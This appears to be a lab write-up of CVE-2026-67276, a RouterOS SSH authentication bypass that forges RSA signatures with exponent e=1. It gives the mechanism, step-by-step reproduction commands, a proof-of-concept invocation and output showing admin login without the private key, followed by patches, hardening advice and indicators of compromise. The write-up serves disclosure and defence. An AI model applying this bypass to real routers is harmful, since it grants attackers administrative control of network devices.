What did we test?

We tested the vulnerability CVE-2026-67276, described as “RouterOS SSH Authentication Bypass”. The flaw lies in the fact that RouterOS does not compare the entire RSA public key blob during matching: it only verifies the key type and the modulus n, ignoring the public exponent e. Furthermore, the cryptographic signature verification uses the exponent provided by the client. Combining these two errors, an attacker who knows the modulus n of an authorized key can forge a valid signature by presenting a key with exponent e=1, without possessing the corresponding private key.

How was the lab set up?

The test environment consisted of a CHR (Cloud Hosted Router) running RouterOS v7.23.3 (stable) on QEMU/KVM, reachable at IP address 10.99.0.2. Version 7.23.3 falls within the range of vulnerable versions declared by the vendor (from 7.0.0 to 7.23.3). The repository containing the proof-of-concept code is available here:

The exam material · CVE-2026-67276Reserved for dojo members: join for free to download it

How to reproduce it?

Reproduction requires installing the Python dependencies paramiko and cryptography. The steps performed are as follows:

  1. Victim key preparation: We generate an RSA key pair and import the public key on the router as authorized for the user admin.
    ssh-keygen -t rsa -b 2048 -f victim_rsa -N ""
    scp victim_rsa.pub chr7:
    ssh chr7 "/user ssh-keys import user=admin public-key-file=victim_rsa.pub"
  2. Baseline verification: We verify that access with the real private key works correctly.
    ssh -i victim_rsa -o IdentitiesOnly=yes chr7 "/system resource print"
  3. Self-test (optional): We validate the cryptographic primitives of the PoC locally against OpenSSL.
    python3 selftest.py
  4. Bypass execution: We run the SSH client presenting the forged key with exponent e=1.
    python3 poc.py --host 10.99.0.2 --port 22 \
        --username admin --pubkey evidence/victim_rsa.pub \
        --algos rsa-sha2-256,ssh-rsa --exp-enc canonical \
        --exec "/system resource print" --lab-i-own-this-target

What happened?

The test confirmed the vulnerability. The router accepted authentication with the forged key, allowing the execution of the requested command. The PoC output shows that the detected version is 7.23.3 and that authentication succeeded with both the rsa-sha2-256 and ssh-rsa algorithms.

[*] CVE-2026-67276 PoC — RouterOS SSH Authentication Bypass
[*] Target: 10.99.0.2:22
[*] Versione rilevata: 7.23.3
[+] VERSIONE VULNERABILE — CVE-2026-67276 applicabile
[*] Modulo: 2048-bit
[*] Esponente originale: 65537
    [*] Provo rsa-sha2-256...
    [+] AUTENTICAZIONE RIUSCITA con rsa-sha2-256!
[+] CVE-2026-67276 CONFERMATA — target vulnerabile!
[+] Autenticato come 'admin' senza chiave privata
[*] Esecuzione comando: /system resource print
                   uptime: 1d12s
                  version: 7.23.3 (stable)
...

Tests were conducted with both signature algorithms (rsa-sha2-256, ssh-rsa) and both exponent encodings (canonical, aligned); in all cases, authentication was successful. It was noted that, although the advisory includes the 6.x branch, on 6.49.20 the server-side matcher rejects the blob with e=1, indicating that the vulnerability manifests primarily on the 7.x branch.

How to protect yourself?

The primary measure is to update the device to the patched versions: RouterOS 7.23.4 (Long-term), 7.24.2 (Stable) or 6.49.21.

Furthermore, it is fundamental to secure the router by limiting the exposure of management services. Follow the guide Basic hardening of a MikroTik router with RouterOS 7 to see how to disable unnecessary services (API, WinBox, SSH), limit them to the management network only, and close them to the Internet.

Frequently asked questions

Does the vulnerability also work on RouterOS 6.x?

Lab tests showed that on 6.49.20 the server rejects the forged key with exponent e=1, returning the error “can’t find matching key for user”. Therefore, the vulnerability was not reproduced on the 6.x branch in this context, despite being included in the range declared by the advisory.

What are the indicators of compromise (IOC)?

Among the cited IOCs are login failure logs for user -2 via SSH, logs of user creation by ssh:-2@, the presence of unknown users with elevated privileges, and the “Flagged” status in the /system/device-mode/print command.

Is the private key required to exploit the bug?

No. The attack only requires knowledge of the public modulus n of the authorized key (for example from a leaked .pub file) and the username of the target user. The signature is forged mathematically without the need for the private key, thanks to the use of the exponent e=1.